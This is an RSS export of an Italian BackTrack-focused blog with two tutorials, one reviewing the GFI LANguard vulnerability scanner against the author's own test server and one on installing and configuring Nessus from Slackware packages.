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	<title>«back&#124;track~blog &#187; /Vulenability-Identification</title>
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	<description>Luogo di studio della security-distro  BackTrack GNU/Linux</description>
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		<title>«back&#124;track~blog &#187; /Vulenability-Identification</title>
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		<item>
		<title>GFI Languard</title>
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		<pubDate>Sun, 06 Apr 2008 16:14:08 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Vulenability-Identification]]></category>

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		<description><![CDATA[

Ciao a tutti,
come da titolo oggi andrmo a drscrivere uno dei Vulneability Scanner più famosi che si vedono in rete , stiamo parlando del GFI-Languard , (attualmente alla versione 2.0) , inserito da sempre , in BackTrack nell&#8217; apposita sezione del &#8220;Vulnerability Identification&#8220;.
GFI-Languard è un prodotto della GFI Security &#38; Messaging Software , è molto [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=425&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p style="text-align:center;"><a name="wp9000358"><img class="aligncenter size-full wp-image-428" src="http://carlitobrigante.files.wordpress.com/2008/04/gfi_logo.jpg?w=183&#038;h=75" alt="" width="183" height="75" /></a></p>
<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/04/sigla.jpg"><img class="aligncenter size-full wp-image-426" src="http://carlitobrigante.files.wordpress.com/2008/04/sigla.jpg?w=228&#038;h=68" alt="" width="228" height="68" /></a></p>
<p>Ciao a tutti,</p>
<p>come da titolo oggi andrmo a drscrivere uno dei Vulneability Scanner più famosi che si vedono in rete , stiamo parlando del <strong>GFI-Languard </strong>, (attualmente alla versione 2.0) , inserito da sempre , in <strong>BackTrack</strong> nell&#8217; apposita sezione del &#8220;<strong>Vulnerability Identification</strong>&#8220;.</p>
<p>GFI-Languard è un prodotto della <a href="http://www.gfi.com/languard/">GFI Security &amp; Messaging Software</a> , è molto famoso e diffuso , grazie alla sua versatilità.</p>
<p>In BackTrack GFI-Languard si avvia grazie all&#8217; ausilio di <a href="http://www.winehq.org/"><em><strong>Wine</strong></em></a> , infatti già dalla prima apertura del programma l&#8217;interfaccia grafica in <em>winz style </em>, è ampiamente riconoscibile.</p>
<p>Il pregio di un programma del genere è quello di racchiudere dentro di se più tools , in grado di metterci nelle migliori condizioni per fare il test delle vulnerabilità note di più domini o server , di ricercare patch mancanti eccetera&#8230;</p>
<p>Voglio specificare subito che GFI-Languard può essere usato per identificazione delle vulnerabilità da parte di admin e non per creare attacchi e quindi eseguire pentesting , anche se dopo una scansione effettuata  si può decidere di compiere lo stesso un attacco , ma vedrete  dalle righe che seguono eventuali opzioni da prendere in considerazione.</p>
<p>Avendo in locale il mio Server , facciamo con GFI-Languard una prova per vedere come funziona e che risultato ci fornisce.</p>
<p>Passiamo quindi a fare il nostro scanning , non prima naturalmente di aver messo a posto delle opzioni&#8230;</p>
<p>Innanzitutto bisogna selezionare l&#8217; host da scannerizzare , che potrebbero essere anche più di uno , potremmo effettuare delle scansioni di interi network , su un intero dominio Windows ad esempio e dal risultato in basso , in formato html , riusciremo a vedere tutte le informazioni raccolte , host per host.</p>
<p>Nel mio caso , avendo nella mia Lan un Server all&#8217; indirizzo 29.230.6.75 , inserirò quest&#8217; IP nello spazio indicato in alto , tenendo conto di tenermi l&#8217; host anche per futuri esperimenti , dandogli quindi un nome , un eventuale commento e salvando il tutto.</p>
<p>Ma andiamo avanti&#8230;</p>
<p>Nella selezione degli Alerts , l&#8217; icona con il punto esclamativo , vengono inserite tutte quelle vulnerabilità che a noi più interessano , ma che GFI-Languard seleziona automaticamente tutte in blocco.</p>
<p>Questa l&#8217;interfaccia dopo la scannerizzazione del server..</p>
<p style="text-align:center;">***</p>
<p><strong></strong></p>
<p style="text-align:center;"><img class="aligncenter size-full wp-image-427" src="http://carlitobrigante.files.wordpress.com/2008/04/gfi-languard-1.png?w=428&#038;h=267" alt="" width="428" height="267" /></p>
<p style="text-align:center;"><strong>***</strong></p>
<p>Come possiamo vedere dall&#8217; immagine , GFI-Languard ci ha restituito un ampio e dettagliato risultato , dagli header del sito che si trova sul server , all&#8217; intero range di informazioni che il server usa per i DNS e la Subnet che uso io.</p>
<p>Lo scanning , bisogna dirlo , non è durato molto , ed ha restituito un buon numero di informazioni , dal MAC-Address , a tutti i servizi aperti , porta per porta , che nel nostro caso sono stati individuati:</p>
<p>Il servizio Samba , il webserver Apache con tipo di protocollo , (SSH &#8211; HTTP-secure) , PHP alla versione 5.2.1 , Il tipo di server WinServer2003 Spk.2 , la versione , e 5 porte aperte con tanto di servizio incluso.</p>
<p>La caratteristica principale di un prodotto quale GFI-Languard , è quella di evitare all&#8217; utente di verificare servizio per servizio tutte le possibili &#8220;aperture&#8221; sconsiderate e che potrebbero causare problemi legati a vulnerabilità &#8220;note&#8221; , con un notevole risparrmio di tempo e di lavoro.</p>
<p>La rilevazioni che GFI-Languard tiene in considerazione principalmente sono:</p>
<p>Il tipo di Server , la versione ed eventuale Service Pack.&#8212;&gt;Nel nostro caso ripeto: WinServ.2003 &#8211; Spk.2 &#8211; con il Mac-Address riportato , il nome del <em>Workgroup</em> ed il nome dell&#8217; host.<a name="wp9000362"></a></p>
<p>Le eventuali patch di sicurezza mancanti</p>
<p>I punti di accesso Wireles.</p>
<p>Condivisioni in linea e porte aperte.</p>
<p>&#8212;&gt;Nel nostro caso ha trovato: Samba , Subnet , 5 porte aperte con servizi annessi e nessun utente &#8220;loggato&#8221;</p>
<p>Naturalmente volendo possiamo &#8220;maneggiare&#8221; tutti i tipi di alert , solo per fare un esempio ho lasciato selezionata la spunta sul controllo CGI , (Common Gateway Interface) , perché l&#8217; host da scannerizzare  conteneva un webserver , ma nel caso sia stato una situazione diversa , per risparmio di tempo e di lettura risultato , avrei benissimo potuto togliere la spunta di selezione.</p>
<p>Il tutto è stato eseguito nel mio caso per la prima volta con GFI-Languard , la prossima volta potrò tenere il profilo salvato con le stesse condizioni di utilizzo.</p>
<p>Una caratteristica , importante , che GFI-Languard ci mette a disposizione è l&#8217; accesso da remoto sul computer/server con delle credenziali determinate&#8230;   &#8230;esempio:</p>
<p style="text-align:center;">***</p>
<p><strong></strong></p>
<p style="text-align:center;"><img class="aligncenter size-full wp-image-429" src="http://carlitobrigante.files.wordpress.com/2008/04/gfi-2.png?w=361&#038;h=430" alt="" width="361" height="430" /></p>
<p style="text-align:center;"><strong>***</strong></p>
<p>Nel caso indicato in figura , possiamo vedere che le impostazioni di accesso sono quelle che GFI-Languard usa di default , ma che noi possiamo cambiare a seconda della situazione in cui ci troviamo.</p>
<p>Sul mio server , non posso ovviamente accedervi senza credenziali , sono nella mia subnet , abbastanza sicura , ma per accedervi devo usare username e password dell&#8217; account administrator oppure di un utente guest o altro.</p>
<p>Questa particolare scelta ci permette di avere dal risultato della scansione molte cose utili in più alla scansione già effettuata in precedenza , come ad esempio il test della complessità della password usata , , per i sistemi UNIX della KEY , mettendoci in condizioni tali da poterla eventualmente cambiare.</p>
<p>Quando in questo caso GFI-Languard esegue una scansione , le credenziali di accesso da remoto sono quelle che caratterizzano il sistema su cui GFI-Languard è in esecuzione , intese come &#8220;default&#8221;.</p>
<p>Queste credenziali che GFI-Languard ci fa inserire sono , come detto sopra , salvabili all&#8217; interno di ogni profilo , in questo modo ci possiamo connettere ad ogni server con delle credenziali diverse , ognuna contenuta in un  profilo diverso, eseguibile ad ogni scansione singolarmante e tutti insieme , tanto il risultato sarà sempre descrittivo host &#8211; per &#8211; host , server per server , dominio per dominio.</p>
<p>GFI-Languard è un&#8217; ottimo tool per la scansione di Servizi aperti e di Eventuali possibili falle su sistemi , ma come pentesting , (inteso come vero attacco) , bisogna rendersi conto di più fattori , come , giusto per fare qualche esempio , il fatto che GFI-Languard lascia log sui sistemi scannerizzati , avverte in modo chiaro gli admin dei ping ricevuti , non performa i ping dopo che l&#8217; host in ricezione ha rigettato lo stesso , considerandolo down , spento&#8230;   &#8230;ma non credo sia questo il suo scopo.</p>
<p>Per ciò per cui è stato creato , è un ottimo tool senza ombra alcuna , in caso di BUG &#8220;noti&#8221; , GFI-Languard ci fornisce addirittura la natura della patch e dove poterla reperire , questo è propriamente il suo ruolo a cui credo adempia ampiamente , pensiamo ad un admin aziendale , che deve tenere sott&#8217; occhio una cinquantina di pc magari su più domini , non credo che sia un programma di cui si possa fare a meno.</p>
<p>Il mio server , creato per consentirmi di fare pentesting , quindi BUGato se preso all&#8217; interno della mia subnet ,  non è stato oggetto di verifica da parte di GFI-Languard , la versione di PHP che utilizzo insieme alla versione di apache porta un BUG , (anche vecchio e molto conosciuto) , ma che non è risultato nella scansione.</p>
<p><a name="wp9000396"> </a></p>
<p><a name="wp9000397"> </a></p>
<p class="pBody">Nel compenso GFI-Languard è stato in grado di enumerarmi tutta la subnet e l&#8217; ha fatto in maniera velocissima , e soprattutto è stato in grado di riportarmi tutte le informazioni che un admin , su WinServer 2003 , avrebbe scoperto con molto più tempo e lavoro.</p>
<p class="pBody">Un altro dei tanti ottimi prodotti inseriti in BackTrack , che usato allo scopo giusto , ci evita di spendere una granparte di tempo e fatica.</p>
<p class="pBody">I risultati di scansione sono organizzati in categorie , e visibili comodamente all&#8217; occhio tramite delle icone , di cui ne riporto un solo esempio:</p>
<div class="pSmartList1">
<ul class="pSmartList1"><a name="wp9000398"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-016.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> Icona che indica una vulnerabilità</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000399"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-017.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Vulnerabilità Potenziale</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000400"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-018.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Condivisioni attive sull&#8217; host</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000401"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-019.jpg" border="0" alt="" hspace="0" vspace="0" width="15" height="15" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Applicazioni trovate in esecuzione</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000402"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-020.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="12" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Schede di rete , MAC-Address , eccetera</span><span style="font-weight:bold;">&#8230;<br />
</span></li>
</div>
<p><a name="wp9000403"> </a></p>
<p><a name="wp9000407"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-025.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-weight:bold;">Porte TCP aperte</span></li>
</div>
<p><a name="wp9000408"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-026.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-weight:bold;">Stato dell&#8217;applicazione di patch nel sistema</span></li>
</div>
<p><a name="wp9000409"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-027.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="13" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">NETBIOS con name e tutto il resto</span></li>
</div>
<p><a name="wp9000410"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-028.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="13" /><span style="font-weight:bold;"> Computer</span></li>
</div>
<p><a name="wp9000411"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-029.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-weight:bold;">Gruppi trovati<br />
</span></li>
</div>
<p><a name="wp9000412"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-030.jpg" border="0" alt="" hspace="0" vspace="0" width="15" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Utenti</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000413"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-031.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Utenti connessi</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000414"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-032.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Sessioni aperte</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000415"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-033.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Servizi</span><span style="font-weight:bold;"> </span></li>
</div>
<p><a name="wp9000416"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-034.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Processi</span><span style="font-weight:bold;"><br />
</span></li>
</div>
<p><a name="wp9000417"> </a></p>
<div class="pSmartList1">
<li><img src="http://support.gfi.com/manuals/it/lanscan7/images/lanscan7manual_it-1-16-035.jpg" border="0" alt="" hspace="0" vspace="0" width="14" height="14" /><span style="font-style:normal;font-weight:bold;"> </span><span style="font-style:italic;font-weight:bold;">Orario da remoto</span></li>
</div>
<p><a name="wp9000418"> </a></ul>
</div>
<p><a name="wp9000419"> </a>Da qui possiamo già capire che se abbiamo bisogno di scannerizzare e tenere sotto controllo 2/3  domini , GFI-Languard è quello che fa al caso nostro.</p>
<p>La grande veersatilità di configurazione poi di cui gode GFI-Languard è  a dir poco eccezionale , secondo ogni criterio è possibile fare una configurazione diversa della nostra scansione , facendo riferimento ad una scansione predefinita con un determinato profilo salvato , GFI-Languard ci mette al corrente delle diversità tra più scansioni e lo fa con le caratteristiche di cui gode maggiormente , velocità ed efficacia di analisi settore per settore , servizio per servizio , con orario di login di eventuali utenti connessi e tutto ciò che serve ad un admin per poter tenere sotto controllo il proprio network , il tutto comodamente salvato in un file html.</p>
<p style="text-align:center;"><strong>***</strong></p>
<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/04/wels3.png"><img class="aligncenter size-full wp-image-430" src="http://carlitobrigante.files.wordpress.com/2008/04/wels3.png?w=474&#038;h=295" alt="" width="474" height="295" /></a></p>
<p style="text-align:center;">***</p>
<p>Ciao a tutti e alla prossima.</p>
<p><a name="wp9000558"> </a></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/425/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/425/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/425/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/425/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/425/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/425/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/425/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/425/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/425/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/425/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/425/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/425/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=425&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
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	</item>
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		<title>Installazione e configurazione di Nessus in BackTrack</title>
		<link>http://carlitobrigante.wordpress.com/2008/01/22/installazione-e-configurazione-di-nessus-in-backtrack/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/01/22/installazione-e-configurazione-di-nessus-in-backtrack/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 13:00:22 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Installation]]></category>
		<category><![CDATA[/Vulenability-Identification]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2008/01/22/installazione-e-configurazione-di-nessus-in-backtrack/</guid>
		<description><![CDATA[
Ciao a tutti,
eccomi , e anche dopo brevissimo tempo , a scrivere un altro tutorial , e lo faccio sull&#8217; installazione e la configurazione in backtrack di uno strumento importantissimo , il Nessus.
Ma cos&#8217;é il Nessus?
Il Nessus è un programma per lo scanning di vulnerabilità , completo , sicuro e userfriendly , e vi assicuro [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=211&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p align="center"><a href="http://carlitobrigante.wordpress.com/2008/01/22/installazione-e-configurazione-di-nessus-in-backtrack/212/" rel="attachment wp-att-212" title="nessus.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/nessus.jpg" alt="nessus.jpg" /></a></p>
<p>Ciao a tutti,</p>
<p>eccomi , e anche dopo brevissimo tempo , a scrivere un altro tutorial , e lo faccio sull&#8217; installazione e la configurazione in backtrack di uno strumento importantissimo , il Nessus.</p>
<p>Ma cos&#8217;é il Nessus?</p>
<p>Il Nessus è un programma per lo scanning di vulnerabilità , completo , sicuro e userfriendly , e vi assicuro che è tra i migliori in circolazione. A mio avviso il Nessus è uno strumento unico , a cui un user non può rinunciare , presenta una caratteristica di lavoro non facile da trovare su altri tool , e cioé la possibilità di avere  a disposizione un tool che ci faccia lavorare in stile<i><b> client &#8211; server </b></i>senza alcun tipo di problema Il server può risiedere sul proprio pc in localhost oppure in remoto , e non credo ci siano molti strumenti simili oggi in circolazione.</p>
<p>Il Nessus è un prodotto della <b><a href="http://www.tenablesecurity.com/solutions/">Tenable</a></b> , ed è disponibile oltre che per la nostra <b>backtrack</b> , (naturalmente parlo del fomato pacchettizzato  per la <b>Slackware-12.0</b>) , tramite un processo determinato che ora descriverò , anche per altre piattaforme , da <b>Windows</b> a <b>BSD</b> ed altri.</p>
<p>Parlare del <b>Nessus</b> come un semplice scanner è sbagliato , perché il Nessus tramite tutti i suoi plugin , si parla dell&#8217; ordine delle migliaia , e le sue funzioni , è un vero e proprio strumento indispensabile per coloro che lavorano nel campo della sicurezza , e non è facilmente sostituibile.</p>
<p>Il Nessus esegue uno scanning delle vulnerabilità , servendo l&#8217;utente con delle informazioni dettagliate a riguardo delle vulnerabilità trovate durante lo scanning avvalendosi anche di link esterni sempre aggiornati  per le informazioni , evidenziando e classificando le vulnerabilità una ad una , ed è per questo che non può essere definito solo uno scanner , e che non può mancare in una distro al top come backtrack.</p>
<p>Purtroppo i problemi di licenza non possono essere discussi da noi , ma solo giudicati , ed una casa come la <b>Tenable</b> che non usa la licenza <b>GPL-2</b> , impedendo al <a href="http://www.remote-exploit.org/about.html"><b>remote-exploit</b></a> di inserire il <b>Nessus</b> in <b>backtrack-3beta</b> , a mio modestissimo parere , ci perde qualcosina , anche se il <b>Nessus</b> , come tool , non ha bisogno di altri commenti.</p>
<p>Nella versione 2 di backtrack , ricordo che dovetti registrarmi alla <b>Tenable</b> , ed ottenere un serial number , questa volta non sono sicuro che serva ancora , ma io ce l&#8217;ho , fossi in voi , mi registrerei , non ci costa nulla d&#8217;altronde , e in più sul suto di <a href="http://www.tenablesecurity.com/solutions/"><b>Tenable Network </b></a>ci sono delle guide ed un DEMO , a cui in caso di necessità o anche solo  per approfondire la cosa , possiamo sempre far riferimento.</p>
<p>Già in qualche articolo precedente ho fatto presente la mia totale approvazione nell&#8217; inserire in <b>backtrack3beta</b> il nuovo server grafico <b>Xorg</b> , cosa che ci permette di avere tutti i programmi che possono attualmente girare su <b>Slackware-12.0</b> , e al contrario della versione 2 della backtrack , con la quale per avere il Nessus ricordo che dovetti compilarmi tutti e 5 i pacchetti con il 30/40% delle librerie mancanti  , questa volta possiamo prenderci benissimo i pacchetti <b>Slackware-12.0</b> direttamente dai repository di  <a href="http://www.slacky.eu/"><b>Slacky.eu</b></a> ,  i miei preferiti.</p>
<p>La prima cosa da fare quindi per avere il <b>Nessus</b> correttamente installato sulla nostra macchina è andarci a scaricare i seguenti pacchetti , che potete lasciare benissimo nella vostra <b>/root</b>.</p>
<p><b><a href="http://repository.slacky.eu/slackware-12.0/network/nessus/2.2.10/libnasl-2.2.10-i486-1sl.tgz">libnasl-2.2.10-i486-1sl.tgz</a></b><a href="http://carlitobrigante.wordpress.com/2008/01/22/installazione-e-configurazione-di-nessus-in-backtrack/214/" rel="attachment wp-att-214" title="slackware_logo.gif"><img src="http://carlitobrigante.files.wordpress.com/2008/01/slackware_logo.gif" alt="slackware_logo.gif" align="right" height="188" width="193" /></a></p>
<p><b><a href="http://repository.slacky.eu/slackware-12.0/network/nessus/2.2.10/nessus-client-1.0.2-i486-1sl.tgz">   nessus-client-1.0.2-i486-1sl.tgz</a></b></p>
<p><b><a href="http://repository.slacky.eu/slackware-12.0/network/nessus/2.2.10/nessus-core-2.2.10-i486-1sl.tgz">   nessus-core-2.2.10-i486-1sl.tgz</a></b></p>
<p><b><a href="http://repository.slacky.eu/slackware-12.0/network/nessus/2.2.10/nessus-libraries-2.2.10-i486-1sl.tgz">   nessus-libraries-2.2.10-i486-1sl.tgz</a></b></p>
<p><b><a href="http://repository.slacky.eu/slackware-12.0/network/nessus/2.2.10/nessus-plugins-2.2.10-i486-1sl.tgz">   nessus-plugins-2.2.10-i486-1sl.tgz</a></b></p>
<p>Una volta che tutti i pacchetti sono stati scaricati nella vostra <b>/root</b> , directory di download di default in backtrack , andate in <b>konsole</b> e digitate il comando:</p>
<p><b>   installpkg *.tgz</b></p>
<p>In questo modo tutti i pacchetti nell&#8217; ordine di sistema verranno installati nella vostra macchina , e alla fine avrete il vostro <b>Nessus</b> in attesa di  configurazione.</p>
<p>Naturalmente dovete stare attenti a non avere nessun altro pacchetto con estensione <b>*.tgz</b> nella vostra <b>/root</b> , altrimenti verrà installato o reinstallato , quindi se ne avete qualcuno come residuo , spostatevelo in un&#8217; altra directory.</p>
<p>Ora , una volta che abbiamo il nostro Nessus , vediamo come poterlo configurare.</p>
<p>Una volta aperto il Nessus si presenta con una buona interfaccia grafica , e subito ci viene chiesto di eseguire un <i><b>login</b></i> , che va eseguito inserendovi i propri dati. Per inserire questi dati però è necessario crearsi degli utenti da aggiungere alla lista di Nessus , e gli user per Nessus vanno creati tramite terminale con il comando:</p>
<p><b>nessus-adduser</b></p>
<p>Una volta eseguito il comando si seguono le indicazioni del sistema , in backtrack essendo utente <b>root</b> non si deve fare altro che premere invio appena settati <i><b>user</b></i> e <b><i>password</i></b> , e l&#8217;utente abilitato ad eseguire il <i><b>login</b></i> per il Nessus è stato creato.</p>
<p>Ora creiamo una <b>certificazione</b> per <b>Nessus</b> , che praticamente è solo un documento che abilita Nessus in connessione <b>SSL</b> , che anche se può sembrare strano , date le domande private , sono informazioni che non vengono rivelate a nessuno ma risiedono nel database di Nessus che si trova sulla nostra macchina , e precisamene in questa posizione:</p>
<p><i><font color="#ff0000">Nessus Server :<br />
Certificate = /usr/com/nessus/CA/servercert.pem<br />
Private key = /usr/var/nessus/CA/serverkey.pem</font><br />
</i></p>
<p><i>risposta che vi viene data in konsole alla fine della configurazione/creazione del certificato , quindi potete stare tranquilli&#8230;</i></p>
<p>il comando per la creazione del certificato è:</p>
<p><b>nessus-mkcert</b></p>
<p>Ora dobbiamo passare alla configurazione finale di <b>Nessus</b> , e cominciamo con il fargli caricare tutti i <b>plugin</b> , <i>( sono 15020 ) </i>, dando da <b>konsole</b> il comando:</p>
<p><b>   nessusd -D</b><br />
aspettiamo che Nessus si carichi i propri plugin e diamo da konsole il comando per farlo partire:</p>
<p><b>nessus</b></p>
<p><i>(Anche se installato correttamente il Nessus , è possibile che non si sia inserita nel menu di <b>KDE </b>, basta lanciarlo da konsole con il semplice comendo <b>nessus</b>).</i></p>
<p><a href="http://carlitobrigante.files.wordpress.com/2008/01/ccc.png" title="ccc.png"><img src="http://carlitobrigante.files.wordpress.com/2008/01/ccc.png" alt="ccc.png" height="441" width="458" /></a></p>
<p>Come potete vedere sono &#8220;loggato&#8221;, ossia sono riuscito , ad avviare da utente root (root solo per il nome)  , il Nessus , che al primo login subito si è preso altri 50/60 secondi per ripetersi la scansione dei plugin.</p>
<p>Una volta eseguito il login ci verrà mostrato il certificato , e all&#8217; accettazione dello stesso possiamo partire con il nostro Nessus. Ricordo che è meglio fare in modo che ad ogni avvio Nessus aggiorni tutti i plugins , per migliorare lo scanning ed avere sempre a propria disposizione tutti gli strumenti sempre  aggiornati.</p>
<p><font color="#ff0000">&#8212;&#8211;&gt;</font>Nella prima tabella , <b>Nessusd Host</b> , abbiamo , come specificato all&#8217; inizio dell&#8217;articolo , la possibilità di inserire un host remoto , oppure come è la scelta di default , di lasciare l&#8217; host locale per avviare lo scanning dalla nostra postazione.</p>
<p><font color="#ff0000">&#8212;&#8211;&gt;</font>Nella seconda tabella invece , quella dei <b>Plugins</b> , possiamo selezionare tutti quei plugins  che a noi più interessano , cercando di tralasciare tutti quelli che invece sono di troppo , non dimentichiamo che oltre a risparmiare tempo ,  un minor numero di plugins , nel limite del possibile ,  è necessario perché nel Nessus sono inseriti dei plugins che durante la scansione delle vulnerabilità su di un determinato host possono creare dei seri problemi all&#8217; host stesso , non ultimo un <b><a href="http://it.wikipedia.org/wiki/Denial_of_service">Denial Of Service</a></b> o anche un <b>crash</b> del sistema.</p>
<p><font color="#ff0000">&#8212;&#8211;&gt;</font>La terza tabella <b>Credential </b>, serve per fare il setting appunto delle credenziali , e cioé immettere tutti quei dati che se in nostro possesso , possono servirci per l&#8217;ingresso ad esempio in un determinato database , e possono essere immessi come dati per il protocollo <b>SSL</b> , <b>Kerberos</b> , <b>Samba</b> eccetera&#8230;</p>
<p><font color="#ff0000">&#8212;&#8211;&gt;</font>La quarta tabella invece riguarda lo <b>Scan Options</b> , ovvero le opzioni di scanning , di cui noi possiamo servirci in vari  modi a seconda delle nostre necessità , possiamo inserire una sola porta da scannerizzare inserendo il numero della porta , oppure possiamo inserire una serie di porte separandole tra loro con una virgola ,<b>(&#8211;&gt;20,80) </b>, se invece le porte sono diverse e possono essere collocate inserie , ovvero con numero ricorsivo , possiamo inserire la serie di porte separando il numero della prima porta e l&#8217; ultima con un trattino <b>(&#8211;&gt; 20-80) </b>, possiamo inserire la PATH da scannerizzare , se diversa da quella di default <b>/cgi-bin:/scripts</b> , possiamo inserire inoltre il metodo di scanning, infatti nella parte bassa della finestra possiamo inserire delle opzioni che ci possono permettere di usare l&#8217; <a href="http://freeworld.thc.org/thc-amap/"><b>amap</b></a> , di effettuare o meno dei <b>ping</b> sull&#8217; host remoto , e tutte queste opzioni sono utilizzabili singolarmente , (e anche settando un tempo di timeout) , essendo tutte parte dei plugins.</p>
<p><font color="#ff0000">&#8212;&#8211;&gt;</font>La quinta tabella è dedicata invece al <b>Target</b> , l&#8217; obbiettivo da scannerizzare , che può essere immesso come <b>IP</b> oppure come <b>nome</b> dell&#8217; host , nel caso in cui dovessimo fare un lavoro più complesso quale ad esempio lo scanning di una rete intera basta inserire tutti gli indirizzi-<b>IP</b>/nomi-<b>host</b> , separandoli oppure aggregandoli come per le porte viste in precedenza , tramite uno slash <b>&#8220;/</b>&#8221; o una virgola , e.g.: <b>192.168.122/188</b> per un intero network oppure <b>192.168.122.9,192.168.1.7 </b>per due target.</p>
<p><font color="#ff0000">- &#8212;-&gt;</font>La sesta tabella definisce invece le <b>Regole</b> da applicare all&#8217; user creato prima con il comando dato tramite konsole.</p>
